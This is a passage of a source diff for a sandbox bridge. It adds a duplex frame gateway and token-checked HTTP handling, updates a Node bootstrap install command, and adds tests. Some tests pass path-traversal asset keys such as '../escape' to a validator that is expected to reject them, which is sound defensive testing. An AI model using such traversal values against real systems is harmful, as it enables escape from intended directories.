-if (!queueDir || !bridgeToken) {
+if (!bridgeToken) {
+  throw new Error("PAPERCLIP_BRIDGE_TOKEN is required.");
+}
+if (bridgeMode !== "${SANDBOX_CALLBACK_BRIDGE_DUPLEX_MODE}" && !queueDir) {
   throw new Error("PAPERCLIP_BRIDGE_QUEUE_DIR and PAPERCLIP_BRIDGE_TOKEN are required.");
 }
 
-const requestsDir = path.posix.join(queueDir, "requests");
-const responsesDir = path.posix.join(queueDir, "responses");
-const logsDir = path.posix.join(queueDir, "logs");
-const readyFile = path.posix.join(queueDir, "ready.json");
+// The embedded zero-dependency frame codec. The duplex gateway uses it; the file
+// gateway ignores it.
+${DUPLEX_GATEWAY_CODEC_SOURCE}
 
 function sleep(ms) {
   return new Promise((resolve) => setTimeout(resolve, ms));
@@ -1209,11 +1988,6 @@ async function readBody(req) {
   return Buffer.concat(chunks).toString("utf8");
 }
 
-async function queueDepth() {
-  const entries = await fs.readdir(requestsDir, { withFileTypes: true }).catch(() => []);
-  return entries.filter((entry) => entry.isFile() && entry.name.endsWith(".json")).length;
-}
-
 function tokensMatch(received) {
   const expected = Buffer.from(bridgeToken, "utf8");
   const actual = Buffer.from(typeof received === "string" ? received : "", "utf8");
@@ -1221,103 +1995,327 @@ function tokensMatch(received) {
   return timingSafeEqual(expected, actual);
 }
 
-async function waitForResponse(requestId) {
-  const responsePath = path.posix.join(responsesDir, \`\${requestId}.json\`);
-  const deadline = Date.now() + responseTimeoutMs;
-  while (Date.now() < deadline) {
-    const body = await fs.readFile(responsePath, "utf8").catch(() => null);
-    if (body != null) {
-      await fs.rm(responsePath, { force: true }).catch(() => undefined);
-      return JSON.parse(body);
-    }
-    await sleep(pollIntervalMs);
-  }
-  throw new Error("Timed out waiting for host bridge response.");
+function writeJsonResponse(res, status, body) {
+  res.statusCode = status;
+  res.setHeader("content-type", "application/json");
+  res.end(JSON.stringify(body));
 }
 
-const server = createServer(async (req, res) => {
-  try {
-    const auth = req.headers.authorization || "";
-    const receivedToken = auth.startsWith("Bearer ") ? auth.slice("Bearer ".length) : "";
-    if (!tokensMatch(receivedToken)) {
-      res.statusCode = 401;
-      res.setHeader("content-type", "application/json");
-      res.end(JSON.stringify({ error: "Invalid bridge token." }));
-      return;
-    }
+async function runFileGateway() {
+  const requestsDir = path.posix.join(queueDir, "requests");
+  const responsesDir = path.posix.join(queueDir, "responses");
+  const logsDir = path.posix.join(queueDir, "logs");
+  const readyFile = path.posix.join(queueDir, "ready.json");
 
-    if (await queueDepth() >= maxQueueDepth) {
-      res.statusCode = 503;
-      res.setHeader("content-type", "application/json");
-      res.end(JSON.stringify({ error: "Bridge request queue is full." }));
-      return;
-    }
-
-    const url = new URL(req.url || "/", "http://127.0.0.1");
-    const contentType = typeof req.headers["content-type"] === "string" ? req.headers["content-type"] : "";
-    if (req.method && req.method !== "GET" && req.method !== "HEAD" && !/json/i.test(contentType)) {
-      res.statusCode = 415;
-      res.setHeader("content-type", "application/json");
-      res.end(JSON.stringify({ error: "Bridge only accepts JSON request bodies." }));
-      return;
-    }
-    const requestId = randomUUID();
-    const requestBody = await readBody(req);
-    const payload = {
-      id: requestId,
-      method: req.method || "GET",
-      path: url.pathname,
-      query: url.search,
-      headers: normalizeHeaders(req.headers),
-      body: requestBody,
-      createdAt: new Date().toISOString(),
-    };
-    const requestPath = path.posix.join(requestsDir, \`\${requestId}.json\`);
-    const tempPath = \`\${requestPath}.tmp\`;
-    await fs.writeFile(tempPath, \`\${JSON.stringify(payload)}\\n\`, "utf8");
-    await fs.rename(tempPath, requestPath);
-
-    const response = await waitForResponse(requestId);
-    res.statusCode = typeof response.status === "number" ? response.status : 200;
-    for (const [key, value] of Object.entries(response.headers || {})) {
-      if (typeof value !== "string" || key.toLowerCase() === "content-length") continue;
-      res.setHeader(key, value);
-    }
-    res.end(typeof response.body === "string" ? response.body : "");
-  } catch (error) {
-    res.statusCode = 502;
-    res.setHeader("content-type", "application/json");
-    res.end(JSON.stringify({ error: error instanceof Error ? error.message : String(error) }));
+  async function queueDepth() {
+    const entries = await fs.readdir(requestsDir, { withFileTypes: true }).catch(() => []);
+    return entries.filter((entry) => entry.isFile() && entry.name.endsWith(".json")).length;
   }
-});
 
-async function shutdown() {
-  server.close(() => {
-    process.exit(0);
+  async function waitForResponse(requestId) {
+    const responsePath = path.posix.join(responsesDir, \`\${requestId}.json\`);
+    const deadline = Date.now() + responseTimeoutMs;
+    while (Date.now() < deadline) {
+      const body = await fs.readFile(responsePath, "utf8").catch(() => null);
+      if (body != null) {
+        await fs.rm(responsePath, { force: true }).catch(() => undefined);
+        return JSON.parse(body);
+      }
+      await sleep(pollIntervalMs);
+    }
+    throw new Error("Timed out waiting for host bridge response.");
+  }
+
+  const server = createServer(async (req, res) => {
+    try {
+      const auth = req.headers.authorization || "";
+      const receivedToken = auth.startsWith("Bearer ") ? auth.slice("Bearer ".length) : "";
+      if (!tokensMatch(receivedToken)) {
+        writeJsonResponse(res, 401, { error: "Invalid bridge token." });
+        return;
+      }
+
+      if (await queueDepth() >= maxQueueDepth) {
+        writeJsonResponse(res, 503, { error: "Bridge request queue is full." });
+        return;
+      }
+
+      const url = new URL(req.url || "/", "http://127.0.0.1");
+      const contentType = typeof req.headers["content-type"] === "string" ? req.headers["content-type"] : "";
+      if (req.method && req.method !== "GET" && req.method !== "HEAD" && !/json/i.test(contentType)) {
+        writeJsonResponse(res, 415, { error: "Bridge only accepts JSON request bodies." });
+        return;
+      }
+      const requestId = randomUUID();
+      const requestBody = await readBody(req);
+      const payload = {
+        id: requestId,
+        method: req.method || "GET",
+        path: url.pathname,
+        query: url.search,
+        headers: normalizeHeaders(req.headers),
+        body: requestBody,
+        createdAt: new Date().toISOString(),
+      };
+      const requestPath = path.posix.join(requestsDir, \`\${requestId}.json\`);
+      const tempPath = \`\${requestPath}.tmp\`;
+      await fs.writeFile(tempPath, \`\${JSON.stringify(payload)}\\n\`, "utf8");
+      await fs.rename(tempPath, requestPath);
+
+      const response = await waitForResponse(requestId);
+      const responseHeaders = response.headers || {};
+      // The host marks a possibly-committed mutation with an indeterminate outcome.
+      // The host cannot cancel a host operation that is in flight, so the mutation
+      // may have committed before the worker aborted the handler. A 5xx status is
+      // retryable by convention, so a caller that retries 5xx would apply the
+      // mutation twice. Map the indeterminate outcome to a non-retryable 409, so a
+      // standard retry policy does not repeat the request. The outcome header and
+      // body stay, so a caller that reads them still sees the indeterminate result.
+      const bridgeOutcome = responseHeaders["x-paperclip-bridge-outcome"];
+      if (bridgeOutcome === "indeterminate") {
+        res.statusCode = 409;
+      } else {
+        res.statusCode = typeof response.status === "number" ? response.status : 200;
+      }
+      for (const [key, value] of Object.entries(responseHeaders)) {
+        if (typeof value !== "string" || key.toLowerCase() === "content-length") continue;
+        res.setHeader(key, value);
+      }
+      res.end(typeof response.body === "string" ? response.body : "");
+    } catch (error) {
+      writeJsonResponse(res, 502, { error: error instanceof Error ? error.message : String(error) });
+    }
+  });
+
+  async function shutdown() {
+    server.close(() => {
+      process.exit(0);
+    });
+  }
+
+  process.on("SIGINT", () => void shutdown());
+  process.on("SIGTERM", () => void shutdown());
+
+  await fs.mkdir(requestsDir, { recursive: true });
+  await fs.mkdir(responsesDir, { recursive: true });
+  await fs.mkdir(logsDir, { recursive: true });
+
+  server.listen(port, host, async () => {
+    const address = server.address();
+    if (!address || typeof address === "string") {
+      throw new Error("Bridge server did not expose a TCP address.");
+    }
+    const ready = {
+      pid: process.pid,
+      host,
+      port: address.port,
+      baseUrl: \`http://\${host}:\${address.port}\`,
+      startedAt: new Date().toISOString(),
+    };
+    const tempReadyFile = \`\${readyFile}.tmp\`;
+    await fs.writeFile(tempReadyFile, JSON.stringify(ready), "utf8");
+    await fs.rename(tempReadyFile, readyFile);
   });
 }
 
-process.on("SIGINT", () => void shutdown());
-process.on("SIGTERM", () => void shutdown());
+function runDuplexGateway() {
+  // One outstanding local request per id. Each entry holds the HTTP resolver and
+  // the wait-budget timer.
+  const pending = new Map();
+  let unavailable = false;
+  let lossTriggered = false;
+  let lastInboundAt = Date.now();
 
-await fs.mkdir(requestsDir, { recursive: true });
-await fs.mkdir(responsesDir, { recursive: true });
-await fs.mkdir(logsDir, { recursive: true });
-
-server.listen(port, host, async () => {
-  const address = server.address();
-  if (!address || typeof address === "string") {
-    throw new Error("Bridge server did not expose a TCP address.");
+  function diag(message) {
+    // Diagnostics go to stderr only. Stdout carries frames.
+    process.stderr.write("[paperclip-bridge] " + message + "\\n");
   }
-  const ready = {
-    pid: process.pid,
-    host,
-    port: address.port,
-    baseUrl: \`http://\${host}:\${address.port}\`,
-    startedAt: new Date().toISOString(),
-  };
-  const tempReadyFile = \`\${readyFile}.tmp\`;
-  await fs.writeFile(tempReadyFile, JSON.stringify(ready), "utf8");
-  await fs.rename(tempReadyFile, readyFile);
-});`;
+
+  function writeFrame(frame) {
+    process.stdout.write(encodeDuplexFrame(frame));
+  }
+
+  function stopTimers() {
+    clearInterval(heartbeatSendTimer);
+    clearInterval(heartbeatWatchTimer);
+  }
+
+  // Loss behavior. On stdin end, a close frame, or a heartbeat timeout, answer
+  // every outstanding request with a non-retryable 409 (the request may have
+  // reached the host), answer every new request with a retryable 503 (the
+  // request never left the gateway), then exit. The gateway never replays a
+  // request.
+  function triggerLoss(reason) {
+    if (lossTriggered) return;
+    lossTriggered = true;
+    unavailable = true;
+    diag("duplex channel lost: " + reason);
+    stopTimers();
+    for (const entry of pending.values()) {
+      clearTimeout(entry.timer);
+      entry.resolve({
+        status: 409,
+        headers: {
+          "content-type": "application/json",
+          "x-paperclip-bridge-outcome": "indeterminate",
+        },
+        body: JSON.stringify({ error: "outcome_indeterminate" }),
+      });
+    }
+    pending.clear();
+    const exitTimer = setTimeout(() => process.exit(0), lossExitGraceMs);
+    if (typeof exitTimer.unref === "function") exitTimer.unref();
+  }
+
+  function handleInboundFrame(frame) {
+    if (frame.type === "response") {
+      const entry = pending.get(frame.id);
+      if (!entry) return;
+      pending.delete(frame.id);
+      clearTimeout(entry.timer);
+      // Map an indeterminate outcome to a non-retryable 409, the same contract
+      // the file gateway applies through the outcome header.
+      const statusCode =
+        frame.outcome === "indeterminate" ? 409 : typeof frame.status === "number" ? frame.status : 200;
+      entry.resolve({
+        status: statusCode,
+        headers: frame.headers || {},
+        body: typeof frame.body === "string" ? frame.body : "",
+      });
+      return;
+    }
+    if (frame.type === "close") {
+      triggerLoss("host sent a close frame");
+      return;
+    }
+    // A heartbeat, ready, error, or request frame proves liveness but needs no
+    // local action here.
+  }
+
+  const decoder = new DuplexFrameDecoder();
+  process.stdin.on("data", (chunk) => {
+    lastInboundAt = Date.now();
+    for (const result of decoder.push(chunk)) {
+      if (!result.ok) {
+        diag("dropped an inbound frame: " + result.error.code);
+        continue;
+      }
+      handleInboundFrame(result.frame);
+    }
+  });
+  process.stdin.on("end", () => triggerLoss("stdin reached end of file"));
+  process.stdin.on("error", (error) =>
+    triggerLoss("stdin error: " + (error && error.message ? error.message : String(error))),
+  );
+
+  const heartbeatSendTimer = setInterval(() => {
+    writeFrame({ version: DUPLEX_FRAME_VERSION, type: "heartbeat" });
+  }, heartbeatIntervalMs);
+  const heartbeatWatchTimer = setInterval(() => {
+    if (Date.now() - lastInboundAt > heartbeatTimeoutMs) {
+      triggerLoss("no inbound frame within the heartbeat timeout");
+    }
+  }, Math.max(200, Math.floor(heartbeatTimeoutMs / 4)));
+
+  const server = createServer(async (req, res) => {
+    try {
+      const auth = req.headers.authorization || "";
+      const receivedToken = auth.startsWith("Bearer ") ? auth.slice("Bearer ".length) : "";
+      if (!tokensMatch(receivedToken)) {
+        writeJsonResponse(res, 401, { error: "Invalid bridge token." });
+        return;
+      }
+      if (unavailable) {
+        writeJsonResponse(res, 503, { error: "bridge_unavailable" });
+        return;
+      }
+      if (pending.size >= maxQueueDepth) {
+        writeJsonResponse(res, 503, { error: "Bridge request queue is full." });
+        return;
+      }
+      const url = new URL(req.url || "/", "http://127.0.0.1");
+      const contentType = typeof req.headers["content-type"] === "string" ? req.headers["content-type"] : "";
+      if (req.method && req.method !== "GET" && req.method !== "HEAD" && !/json/i.test(contentType)) {
+        writeJsonResponse(res, 415, { error: "Bridge only accepts JSON request bodies." });
+        return;
+      }
+      const requestId = randomUUID();
+      const requestBody = await readBody(req);
+      if (unavailable) {
+        writeJsonResponse(res, 503, { error: "bridge_unavailable" });
+        return;
+      }
+      const requestFrame = {
+        version: DUPLEX_FRAME_VERSION,
+        type: "request",
+        id: requestId,
+        method: req.method || "GET",
+        path: url.pathname,
+        query: url.search,
+        headers: normalizeHeaders(req.headers),
+        body: requestBody,
+      };
+      const response = await new Promise((resolve) => {
+        const timer = setTimeout(() => {
+          if (pending.delete(requestId)) {
+            resolve({
+              status: 502,
+              headers: { "content-type": "application/json" },
+              body: JSON.stringify({ error: "Timed out waiting for host bridge response." }),
+            });
+          }
+        }, responseTimeoutMs);
+        pending.set(requestId, { resolve: resolve, timer: timer });
+        writeFrame(requestFrame);
+      });
+      res.statusCode = typeof response.status === "number" ? response.status : 200;
+      for (const [key, value] of Object.entries(response.headers || {})) {
+        if (typeof value !== "string" || key.toLowerCase() === "content-length") continue;
+        res.setHeader(key, value);
+      }
+      res.end(typeof response.body === "string" ? response.body : "");
+    } catch (error) {
+      writeJsonResponse(res, 502, { error: error instanceof Error ? error.message : String(error) });
+    }
+  });
+
+  process.on("SIGINT", () => {
+    try {
+      server.close();
+    } catch (error) {
+      diag("server close error: " + (error && error.message ? error.message : String(error)));
+    }
+    process.exit(0);
+  });
+  process.on("SIGTERM", () => {
+    try {
+      server.close();
+    } catch (error) {
+      diag("server close error: " + (error && error.message ? error.message : String(error)));
+    }
+    process.exit(0);
+  });
+
+  server.listen(port, host, () => {
+    const address = server.address();
+    if (!address || typeof address === "string") {
+      diag("duplex gateway did not expose a TCP address");
+      process.exit(1);
+      return;
+    }
+    // The one READY frame carries the validated listener address. Stdout carries
+    // only frames.
+    writeFrame({
+      version: DUPLEX_FRAME_VERSION,
+      type: "ready",
+      address: "http://" + host + ":" + address.port,
+    });
+  });
+}
+
+if (bridgeMode === "${SANDBOX_CALLBACK_BRIDGE_DUPLEX_MODE}") {
+  runDuplexGateway();
+} else {
+  await runFileGateway();
+}`;
 }
diff --git a/packages/adapter-utils/src/sandbox-install-command.test.ts b/packages/adapter-utils/src/sandbox-install-command.test.ts
index 01c32936e3c..88263413762 100644
--- a/packages/adapter-utils/src/sandbox-install-command.test.ts
+++ b/packages/adapter-utils/src/sandbox-install-command.test.ts
@@ -9,9 +9,11 @@ describe("buildSandboxNpmInstallCommand", () => {
     expect(command).toContain("npm install -g --prefix \"$HOME/.local\" '@google/gemini-cli'");
   });
 
-  it("bootstraps npm from a portable Node tarball when missing", () => {
+  it("bootstraps npm from a portable Node tarball when missing or unsupported", () => {
     const command = buildSandboxNpmInstallCommand("@google/gemini-cli");
-    expect(command).toContain("if ! command -v npm >/dev/null 2>&1; then");
+    expect(command).toContain("if ! command -v npm >/dev/null 2>&1 || ! command -v node >/dev/null 2>&1 ||");
+    expect(command).toContain("process.versions.node");
+    expect(command).toContain("v[0]>24||(v[0]===24&&v[1]>=11)");
     expect(command).toContain("https://nodejs.org/dist/");
     expect(command).toContain('export PATH="$HOME/.local/bin:$PATH"');
   });
diff --git a/packages/adapter-utils/src/sandbox-install-command.ts b/packages/adapter-utils/src/sandbox-install-command.ts
index d8ef0767d25..c3d1468e5dd 100644
--- a/packages/adapter-utils/src/sandbox-install-command.ts
+++ b/packages/adapter-utils/src/sandbox-install-command.ts
@@ -13,13 +13,16 @@ function shellSingleQuote(value: string): string {
 // $HOME/.local/bin.
 const ENSURE_NPM_PREAMBLE =
   "PAPERCLIP_NPM_BOOTSTRAPPED=; " +
-  'if ! command -v npm >/dev/null 2>&1; then ' +
+  "if ! command -v npm >/dev/null 2>&1 || " +
+  "! command -v node >/dev/null 2>&1 || " +
+  "! node -e 'const v=process.versions.node.split(\".\").map(Number);" +
+  "process.exit(v[0]>24||(v[0]===24&&v[1]>=11)?0:1)' >/dev/null 2>&1; then " +
   'NODE_ARCH="$(uname -m)"; ' +
   'case "$NODE_ARCH" in ' +
   "x86_64) NODE_ARCH=x64 ;; " +
   "aarch64|arm64) NODE_ARCH=arm64 ;; " +
   "esac; " +
-  'NODE_VERSION="v22.11.0"; ' +
+  'NODE_VERSION="v24.11.0"; ' +
   'NODE_TARBALL="node-${NODE_VERSION}-linux-${NODE_ARCH}.tar.xz"; ' +
   'mkdir -p "$HOME/.local"; ' +
   'curl -fsSL "https://nodejs.org/dist/${NODE_VERSION}/${NODE_TARBALL}" -o "/tmp/${NODE_TARBALL}" && ' +
diff --git a/packages/adapter-utils/src/sandbox-managed-runtime.test.ts b/packages/adapter-utils/src/sandbox-managed-runtime.test.ts
index e736385609d..8e60c71fb05 100644
--- a/packages/adapter-utils/src/sandbox-managed-runtime.test.ts
+++ b/packages/adapter-utils/src/sandbox-managed-runtime.test.ts
@@ -11,6 +11,7 @@ import {
   assertSyncOperationsConfined,
   mirrorDirectory,
   prepareSandboxManagedRuntime,
+  type SandboxManagedRuntimeAsset,
   type SandboxManagedRuntimeClient,
   type SandboxSyncOperation,
   type SandboxSyncResult,
@@ -19,6 +20,7 @@ import {
   prepareCommandManagedRuntime,
   type CommandManagedRuntimeRunner,
 } from "./command-managed-runtime.js";
+import { SYNC_OPERATION_CONCURRENCY_LIMIT } from "./sync-operation-schedule.js";
 import {
   createRuntimeSpanRunner,
   getActiveStepContext,
@@ -425,19 +427,87 @@ describe("sandbox managed runtime", () => {
     await expect(readFile(path.join(localWorkspaceDir, ".claude", "settings.json"), "utf8")).resolves.toBe("{\"local\":true}\n");
     await expect(readFile(path.join(localWorkspaceDir, ".paperclip-runtime", "state.json"), "utf8")).resolves.toBe("{}\n");
     expect(runtimeStatuses).toEqual(expect.arrayContaining([
-      "config_sync:Syncing workspace to sandbox",
-      "config_sync:Syncing runtime assets to sandbox",
-      "restore:Restoring workspace from sandbox",
-      "finalize:Finalizing sandbox workspace",
+      "config_sync:Syncing workspace to environment",
+      "config_sync:Syncing runtime assets to environment",
+      "restore:Restoring workspace from environment",
+      "finalize:Finalizing workspace",
     ]));
     expect(runtimeStatuses).toEqual(expect.arrayContaining([
-      expect.stringMatching(/^config_sync:Syncing workspace to sandbox: 100% \(\d+\.\d\/\d+\.\d MB\)$/),
-      expect.stringMatching(/^config_sync:Syncing skills to sandbox: 100% \(\d+\.\d\/\d+\.\d MB\)$/),
-      expect.stringMatching(/^restore:Restoring workspace from sandbox: 100% \(\d+\.\d\/\d+\.\d MB\)$/),
+      expect.stringMatching(/^config_sync:Syncing workspace to environment: 100% \(\d+\.\d\/\d+\.\d MB\)$/),
+      expect.stringMatching(/^config_sync:Syncing skills to environment: 100% \(\d+\.\d\/\d+\.\d MB\)$/),
+      expect.stringMatching(/^restore:Restoring workspace from environment: 100% \(\d+\.\d\/\d+\.\d MB\)$/),
     ]));
-    expect(runtimeStatuses.at(-1)).toBe("finalize:Finalizing sandbox workspace");
+    expect(runtimeStatuses.at(-1)).toBe("finalize:Finalizing workspace");
   });
 
+  it.each(["workspace", "git-workspace"])(
+    "rejects an asset key that collides with the reserved %s archive name",
+    async (reservedKey) => {
+      const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-sandbox-asset-key-"));
+      cleanupDirs.push(rootDir);
+      const localWorkspaceDir = path.join(rootDir, "local-workspace");
+      const remoteWorkspaceDir = path.join(rootDir, "remote-workspace");
+      const localAssetsDir = path.join(rootDir, "local-assets");
+      await mkdir(localWorkspaceDir, { recursive: true });
+      await mkdir(localAssetsDir, { recursive: true });
+      await writeFile(path.join(localWorkspaceDir, "README.md"), "workspace\n", "utf8");
+
+      const client = makeFilesystemClient();
+      await expect(
+        prepareSandboxManagedRuntime({
+          spec: {
+            transport: "sandbox",
+            provider: "test",
+            sandboxId: "sandbox-1",
+            remoteCwd: remoteWorkspaceDir,
+            timeoutMs: 30_000,
+            apiKey: null,
+          },
+          adapterKey: "test-adapter",
+          client,
+          workspaceLocalDir: localWorkspaceDir,
+          assets: [{ key: reservedKey, localDir: localAssetsDir }],
+        }),
+      ).rejects.toThrow(/collides with a reserved runtime archive name/);
+
+      // The reserved-key guard fails before any workspace or asset archive is
+      // built, so nothing lands in the remote workspace directory.
+      await expect(readdir(remoteWorkspaceDir)).rejects.toMatchObject({ code: "ENOENT" });
+    },
+  );
+
+  it.each(["skills/nested", "skills\\nested", "..", "../escape"])(
+    "rejects an asset key that is not a simple path segment: %s",
+    async (unsafeKey) => {
+      const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-sandbox-asset-key-"));
+      cleanupDirs.push(rootDir);
+      const localWorkspaceDir = path.join(rootDir, "local-workspace");
+      const remoteWorkspaceDir = path.join(rootDir, "remote-workspace");
+      const localAssetsDir = path.join(rootDir, "local-assets");
+      await mkdir(localWorkspaceDir, { recursive: true });
+      await mkdir(localAssetsDir, { recursive: true });
+      await writeFile(path.join(localWorkspaceDir, "README.md"), "workspace\n", "utf8");
+
+      const client = makeFilesystemClient();
+      await expect(
+        prepareSandboxManagedRuntime({
+          spec: {
+            transport: "sandbox",
+            provider: "test",
+            sandboxId: "sandbox-1",
+            remoteCwd: remoteWorkspaceDir,
+            timeoutMs: 30_000,
+            apiKey: null,
+          },
+          adapterKey: "test-adapter",
+          client,
+          workspaceLocalDir: localWorkspaceDir,
+          assets: [{ key: unsafeKey, localDir: localAssetsDir }],
+        }),
+      ).rejects.toThrow(/is not a simple path segment/);
+    },
+  );
+
   it("syncs git-backed workspaces through a shallow standalone clone and keeps .git out of archives", async () => {
     const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-sandbox-git-"));
     cleanupDirs.push(rootDir);
@@ -575,11 +645,11 @@ describe("sandbox managed runtime", () => {
     // check above).
     expect(runtimeStatuses.some((status) => (
       status.phase === "config_sync" &&
-      /^Syncing workspace to sandbox: 100% \(\d+\.\d\/\d+\.\d MB\)$/.test(status.message)
+      /^Syncing workspace to environment: 100% \(\d+\.\d\/\d+\.\d MB\)$/.test(status.message)
     ))).toBe(true);
     expect(runtimeStatuses.some((status) => (
       status.phase === "export" &&
-      /^Exporting git history from sandbox: 100% \(\d+\.\d\/\d+\.\d MB\)$/.test(status.message)
+      /^Exporting git history from environment: 100% \(\d+\.\d\/\d+\.\d MB\)$/.test(status.message)
     ))).toBe(true);
   });
 
@@ -1039,8 +1109,8 @@ describe("sandbox managed runtime", () => {
       },
     });
 
-    const uploadWorkspaceLines = lines.filter((line) => line.includes("Syncing workspace to sandbox"));
-    const uploadAssetLines = lines.filter((line) => line.includes("Syncing skills to sandbox"));
+    const uploadWorkspaceLines = lines.filter((line) => line.includes("Syncing workspace to environment"));
+    const uploadAssetLines = lines.filter((line) => line.includes("Syncing skills to environment"));
     expect(uploadWorkspaceLines.length).toBeGreaterThan(0);
     expect(uploadAssetLines.length).toBeGreaterThan(0);
     // 100 reported increments must be throttled to at most ~one line per 10% step.
@@ -1050,7 +1120,7 @@ describe("sandbox managed runtime", () => {
     expect(uploadWorkspaceLines.every((line) => /\(\d+\.\d\/\d+\.\d MB\)/.test(line))).toBe(true);
 
     await prepared.restoreWorkspace();
-    const restoreLines = lines.filter((line) => line.includes("Restoring workspace from sandbox"));
+    const restoreLines = lines.filter((line) => line.includes("Restoring workspace from environment"));
     expect(restoreLines.length).toBeGreaterThan(0);
     expect(restoreLines.length).toBeLessThanOrEqual(11);
     expect(restoreLines.some((line) => line.includes("100%"))).toBe(true);
@@ -1507,6 +1577,129 @@ describe("sandbox managed runtime", () => {
     expect(prepared.workspaceRemoteDir).toBe(remoteWorkspaceDir);
   });
 
+  it("the workspace wipe command preserves in-flight sync scratch tarballs (.paperclip-upload-*)", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-sandbox-scratch-shape-"));
+    cleanupDirs.push(rootDir);
+    const sourceRepoDir = path.join(rootDir, "source-repo");
+    const localWorkspaceDir = path.join(rootDir, "local-workspace");
+    const remoteWorkspaceDir = path.join(rootDir, "remote-workspace");
+    await mkdir(sourceRepoDir, { recursive: true });
+    await git(sourceRepoDir, ["init"]);
+    await git(sourceRepoDir, ["checkout", "-b", "main"]);
+    await git(sourceRepoDir, ["config", "user.name", "Paperclip Test"]);
+    await git(sourceRepoDir, ["config", "user.email", "test@paperclip.dev"]);
+    await writeFile(path.join(sourceRepoDir, "tracked.txt"), "tracked\n", "utf8");
+    await git(sourceRepoDir, ["add", "tracked.txt"]);
+    await git(sourceRepoDir, ["commit", "-m", "base"]);
+    await git(sourceRepoDir, ["worktree", "add", "-b", "work", localWorkspaceDir, "HEAD"]);
+
+    const client: SandboxManagedRuntimeClient = {
+      makeDir: async (remotePath) => {
+        await mkdir(remotePath, { recursive: true });
+      },
+      writeFile: async (remotePath, bytes) => {
+        await mkdir(path.dirname(remotePath), { recursive: true });
+        await writeFile(remotePath, Buffer.from(bytes));
+      },
+      readFile: async (remotePath) => await readFile(remotePath),
+      listFiles: async () => [],
+      remove: async (remotePath) => {
+        await rm(remotePath, { recursive: true, force: true });
+      },
+      run: async (command) => {
+        await execFile("sh", ["-c", command], { maxBuffer: 32 * 1024 * 1024 });
+      },
+    };
+    const captured: SandboxSyncOperation[] = [];
+    attachNativeRecordingSyncIn(client, captured);
+
+    await prepareSandboxManagedRuntime({
+      spec: {
+        transport: "sandbox",
+        provider: "test",
+        sandboxId: "sandbox-1",
+        remoteCwd: remoteWorkspaceDir,
+        timeoutMs: 30_000,
+        apiKey: null,
+      },
+      adapterKey: "test-adapter",
+      client,
+      workspaceLocalDir: localWorkspaceDir,
+    });
+
+    // The wipe `find` runs before the extract. It must preserve the daytona
+    // scratch prefix so a concurrent referenced-project upload survives the wipe.
+    const wipeCommand = captured[0].postUploadCommands![0].command;
+    expect(wipeCommand).toContain("find ");
+    expect(wipeCommand).toContain("! -name '.paperclip-upload-*'");
+  });
+
+  it("the workspace wipe keeps an in-flight scratch tarball at the root but removes a stale sibling", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-sandbox-scratch-race-"));
+    cleanupDirs.push(rootDir);
+    const sourceRepoDir = path.join(rootDir, "source-repo");
+    const localWorkspaceDir = path.join(rootDir, "local-workspace");
+    const remoteWorkspaceDir = path.join(rootDir, "remote-workspace");
+    await mkdir(sourceRepoDir, { recursive: true });
+    await git(sourceRepoDir, ["init"]);
+    await git(sourceRepoDir, ["checkout", "-b", "main"]);
+    await git(sourceRepoDir, ["config", "user.name", "Paperclip Test"]);
+    await git(sourceRepoDir, ["config", "user.email", "test@paperclip.dev"]);
+    await writeFile(path.join(sourceRepoDir, "tracked.txt"), "tracked\n", "utf8");
+    await git(sourceRepoDir, ["add", "tracked.txt"]);
+    await git(sourceRepoDir, ["commit", "-m", "base"]);
+    await git(sourceRepoDir, ["worktree", "add", "-b", "work", localWorkspaceDir, "HEAD"]);
+    // Pre-seed the sandbox root. `.paperclip-upload-test.tar` simulates a
+    // concurrent referenced-project scratch tarball in flight; `stale-junk.txt`
+    // is an unrelated child that the wipe must remove.
+    await mkdir(remoteWorkspaceDir, { recursive: true });
+    await writeFile(path.join(remoteWorkspaceDir, ".paperclip-upload-test.tar"), "scratch\n", "utf8");
+    await writeFile(path.join(remoteWorkspaceDir, "stale-junk.txt"), "junk\n", "utf8");
+
+    const client: SandboxManagedRuntimeClient = {
+      makeDir: async (remotePath) => {
+        await mkdir(remotePath, { recursive: true });
+      },
+      writeFile: async (remotePath, bytes) => {
+        await mkdir(path.dirname(remotePath), { recursive: true });
+        await writeFile(remotePath, Buffer.from(bytes));
+      },
+      readFile: async (remotePath) => await readFile(remotePath),
+      listFiles: async () => [],
+      remove: async (remotePath) => {
+        await rm(remotePath, { recursive: true, force: true });
+      },
+      run: async (command) => {
+        await execFile("sh", ["-c", command], { maxBuffer: 32 * 1024 * 1024 });
+      },
+    };
+    const captured: SandboxSyncOperation[] = [];
+    attachNativeRecordingSyncIn(client, captured);
+
+    await prepareSandboxManagedRuntime({
+      spec: {
+        transport: "sandbox",
+        provider: "test",
+        sandboxId: "sandbox-1",
+        remoteCwd: remoteWorkspaceDir,
+        timeoutMs: 30_000,
+        apiKey: null,
+      },
+      adapterKey: "test-adapter",
+      client,
+      workspaceLocalDir: localWorkspaceDir,
+    });
+
+    // The real `find` wipe ran through `sh -c`. The scratch tarball survived and
+    // the unrelated sibling did not.
+    await expect(
+      readFile(path.join(remoteWorkspaceDir, ".paperclip-upload-test.tar"), "utf8"),
+    ).resolves.toBe("scratch\n");
+    await expect(
+      readFile(path.join(remoteWorkspaceDir, "stale-junk.txt"), "utf8"),
+    ).rejects.toThrow();
+  });
+
   it("issues one merged syncIn operation for a git-backed workspace stage-sync with two ordered extract commands", async () => {
     const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-sandbox-merged-git-"));
     cleanupDirs.push(rootDir);
@@ -2053,14 +2246,17 @@ describe("sandbox managed runtime", () => {
       runtimeSpan,
     });
 
-    expect(openedSpans).toEqual(["snapshot.git", "snapshot.baseline", "pack"]);
+    // The workspace stage task opens its own `stage.workspace` span, and the
+    // host tarball build opens the `pack` span inside it. The two pre-task
+    // sub-steps stay ahead of the task.
+    expect(openedSpans).toEqual(["snapshot.git", "snapshot.baseline", "stage.workspace", "pack"]);
     // The tarball build still lands the workspace inside the span, so the wrap
     // changes no staging behavior.
     await expect(readFile(path.join(remoteWorkspaceDir, "README.md"), "utf8")).resolves.toBe("workspace body\n");
     expect(prepared.workspaceRemoteDir).toBe(remoteWorkspaceDir);
   });
 
-  it("nests the host pack span under the stage.sync step span", async () => {
